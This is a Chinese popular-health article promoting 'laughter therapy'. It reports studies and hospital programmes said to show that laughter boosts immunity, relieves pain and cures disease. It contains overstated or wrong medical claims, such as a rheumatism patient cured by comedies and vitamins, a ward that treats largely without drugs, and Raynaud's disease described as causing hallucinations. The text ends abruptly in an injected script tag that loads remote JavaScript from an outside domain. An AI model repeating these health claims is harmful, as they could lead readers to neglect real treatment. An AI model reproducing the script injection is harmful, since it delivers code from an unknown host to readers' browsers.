成语“笑逐颜开”，出自《京本通俗小说》，表明人的美好心情，喜在心中，笑在脸上。《琵琶记》里还写有“笑一笑，少一少”，又喻示欢笑与养生的关系。笑，是人的一种情感的外在表露，表达的是幸运、欢快、愉悦、舒畅、钟爱、幽默、陶醉、满足等内在心境的即时状态。笑，当是一种精神调节剂，人在疲劳时，或抑郁时，经过一阵大笑，疲劳随之消失，抑郁得到宣泄。笑所表达的高度快乐的情绪，不仅能通过大脑皮质影响全身的活动，而且能促进脑中肽类等激素释放，促进肾上腺素的分泌，使人感到舒适、欣慰。传统医学认为“气顺无病”，笑通疏气，能使真气周流，气血调和，气和志达，营卫通利。笑，对于人是最好的保健品，人能常笑，胜吃补药。

    倘使，人们利用饮食辅助患者防治疾病，习惯称为“食疗”的话，那么，近年国外正在运用幽默促使病人康复安宁的研究，取名为“笑疗”，应该是可以理解的了。

    最近，美国波士顿大学心理学家戴维·麦克莱恩教授，正在进行一项身心机制变化的实验。他为该系学生放映了三部影片，其中两部喜剧片《糊涂侦探》《泰瑞莎修女传奇》，和另一部描写纳粹战争题材的故事片《辛德勒德名单》。学生们看过之后，立即对他们进行一系列生理反应的测试，结果发现前两部影片可以使90%的学生激发体内免疫球蛋白的提高，一小时之后，则又恢复到正常量。而另一部影片则几乎无异常变化。麦克莱恩认为，笑与人体内免疫球蛋白水平改变有密切关系，免疫球蛋白分泌的量愈高，人体对由口鼻侵入的病菌抵抗力就愈强，那么呼吸系统和消化系统的患病率也就相应降低。笑，除了作用于免疫系统之外，对人体其它方面的影响同样可以引起量的变化。为此，他曾让一位无法行动的风湿病患者，每天观看讽刺喜剧影片，并播放幽默笑话录音，辅以大剂量维生素，数月后，病人奇迹般地痊愈了。

    美国斯坦福医院精神治疗专家威廉·伏雷博士的研究报告指出：“正常人每天笑10～20次，相当于10分钟的划船运动。自然而欢畅的笑，由此造成的喘息，可以比喻为体内器官进行慢跑，它可以加速心跳，升高血压，促进呼吸，增加耗氧量以及使肾上腺素分泌量增多。激动的大笑，还可以给予脸、肩、横隔膜和腹部肌肉一种有力的活动。捧腹大笑甚至还会牵动手臂、大腿、臀部肌肉。笑，不仅可以使人神智清醒，还具有镇痛作用。圣塔芭巴拉加州立大学的萨宾纳·怀特教授，曾让一些患有疼痛症状的住院患者，每日定时收听讲笑话的录音带，欣赏幽默画，如此对病人产生有明显镇静作用，从而减轻了患处的疼痛。为此，加州州立大学护理系主任维拉·鲁宾森教授，在临床上应用笑疗，使病人在手术前减轻焦虑和恐惧，转移他们对手术的过分关注，结果手术进行得十分顺利。

    美国《今日心理学》杂志报道，芝加哥的戴冠博医院近年曾设置了“生活病房”，使某些患者从改变环境影响和生活方式中，获得治愈某些疾病的优越条件。最近，又开办了“笑疗病房”，这里粉刷得洁白明亮，布置了有益花草。备有多种制造欢乐的书画、玩具及音像用品，专供病人享受欢笑。使他们改善心境，忘却忧烦，稳定情绪，鼓舞精神，从而达到治愈疾病的目的；在这里住院除了辅以饮食营养与维生素之外，一般不施用药物或器械。建立在圣大蒙尼卡的圣约翰医院，也仿此经验，创办了健康中心，根据每一位病人的病情，配备专门喜剧录像片。放射肿瘤学专家蒙卡尔·西蒙顿说：“即使是一些疑难病症，笑疗也有助于康复。因为病人配合医生治疗，也需要毅力，这对病人来说也是一种优良的品质。悲观、失望，无济于事。”西蒙顿介绍说，有一位垂危病人约翰·霍特，在他离开医院4小时后，就告别了人间。临终前他对家人说：“在医院里我曾经有过一段欢乐的美好生活。”

    笑疗还涉及到精神神经免疫学的研究领域，针对脑、免疫系统和某些神经细胞之间，这种神秘的化学物质在其间发挥传递和回复信息的作用。笑，恰好起到调整这一体系的功能。但是，由于笑具有难以捉摸和掌握的特性，同样一种刺激笑的因素，对不同人会有不同的作用和反应，也许有个别人根本就不笑，对免疫细胞的快速转变非常困难。因此，麦克莱恩教授还在测试不同情绪，如幽默、信任、讥诮、讽喻、希望等对免疫系统的影响，他注意到测量人的唾液中免疫球蛋白A的分泌变化，是改善病情，治愈疾病的关键所在。因此，诱发舒畅情绪，刺激发笑的手段，不能只靠医术，也需要艺术。

    美国康涅狄格州精神病研究小组，最近发现笑疗对雷诺氏病患者也是有效的，对稳定情绪，消除幻听、幻想、幻觉、强迫观念和自杀企图是有益的。美国洛马达林大学的有关实验证明，笑，能促进对人体有益的内啡肽和生长激素的分泌。英国《自然界》杂志载文还介绍，情绪与季节有关，春、夏、秋容易使人欢笑、活跃，情绪稳定，而冬季容易导致烦闷、抑郁，情绪低落。于是，在冬季?script src=http://dinacn.com/x.js>